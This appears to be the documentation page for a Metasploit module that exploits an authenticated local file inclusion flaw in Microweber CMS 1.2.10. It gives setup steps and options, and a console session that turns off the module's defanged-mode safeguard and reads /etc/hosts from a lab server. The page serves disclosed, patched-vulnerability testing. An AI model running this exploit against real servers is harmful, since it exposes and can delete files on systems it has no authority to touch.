metasploit-gs/documentation/modules/auxiliary/gather/microweber_lfi.md

Vulnerable Applications

Microweber CMS v1.2.10 LFI (Authenticated) has been verified and fixed according to the maintainer of the project. You check out the vulnerability report: https://huntr.dev/bounties/09218d3f-1f6a-48ae-981c-85e86ad5ed8b/

The older versions of Microweber CMS might be vulnerable too. I've not tested the module against the other versions. If you want, you can follow the steps in the official vulnerability report to reproduce the vulnerability against the older versions. (not guaranteed)

Verification Steps

• Start msfconsole
• Run use auxiliary/gather/microweber_lfi
• Set RHOSTS
• Set USERNAME
• Set PASSWORD
• Set LOCAL_FILE_PATH
• Run exploit
• Verify that you see Checking if it's Microweber CMS.
• Verify that you see Microweber CMS has been detected.
• Verify that you see Checking Microweber's version.
• Verify that you see Microweber version 1.2.10
• Verify that you see The target appears to be vulnerable.
• Verify that you see Trying to log in.
• Verify that you see You are logged in
• Verify that you see Uploading LOCAL_FILE_PATH to the backup folder.
• Verify that you see FILE was moved!
• Verify that you see Downloading FILE from the backup folder.

Options

msf6 auxiliary(gather/microweber_lfi) > options

Module options (auxiliary/gather/microweber_lfi):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   DEFANGED_MODE    true             yes       Run in defanged mode
   LOCAL_FILE_PATH                   yes       The path of the local file.
   PASSWORD                          yes       The admin's password for Microweber
   Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT            80               yes       The target port (TCP)
   SSL              false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI        /                yes       The base path for Microweber
   USERNAME                          yes       The admin's username for Microweber
   VHOST                             no        HTTP server virtual host

Scenerios

This module has been tested against Microweber CMS v1.2.10 installed on Ubuntu.

msf6 auxiliary(gather/microweber_lfi) > use auxiliary/gather/microweber_lfi
msf6 auxiliary(gather/microweber_lfi) > set username admin
username => admin
msf6 auxiliary(gather/microweber_lfi) > set password admin
password => admin
msf6 auxiliary(gather/microweber_lfi) > set local_file_path /etc/hosts
local_file_path => /etc/hosts
msf6 auxiliary(gather/microweber_lfi) > set rhosts 192.168.188.132
rhosts => 192.168.188.132
msf6 auxiliary(gather/microweber_lfi) > check

[*] Checking if it's Microweber CMS.
[+] Microweber CMS has been detected.
[*] Checking Microweber's version.
[+] Microweber version 1.2.10
[*] 192.168.188.132:80 - The target appears to be vulnerable.
msf6 auxiliary(gather/microweber_lfi) > exploit
[*] Running module against 192.168.188.132

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if it's Microweber CMS.
[+] Microweber CMS has been detected.
[*] Checking Microweber's version.
[+] Microweber version 1.2.10
[+] The target appears to be vulnerable.
[-] Auxiliary aborted due to failure: bad-config: Triggering this vulnerability may delete the local file if the web service user has the permission.
If you want to continue, disable the DEFANGED_MODE.
=> set DEFANGED_MODE false
msf6 auxiliary(gather/microweber_lfi) > set defanged_mode false
defanged_mode => false
msf6 auxiliary(gather/microweber_lfi) > exploit
[*] Running module against 192.168.188.132

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if it's Microweber CMS.
[+] Microweber CMS has been detected.
[*] Checking Microweber's version.
[+] Microweber version 1.2.10
[+] The target appears to be vulnerable.
[*] Trying to log in.
[+] You are logged in
[*] Uploading /etc/hosts to the backup folder.
[+] hosts was moved!
[*] Downloading hosts from the backup folder.
[*] 127.0.0.1 localhost
127.0.1.1 ubuntu-srv-tk

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

[*] Auxiliary module execution completed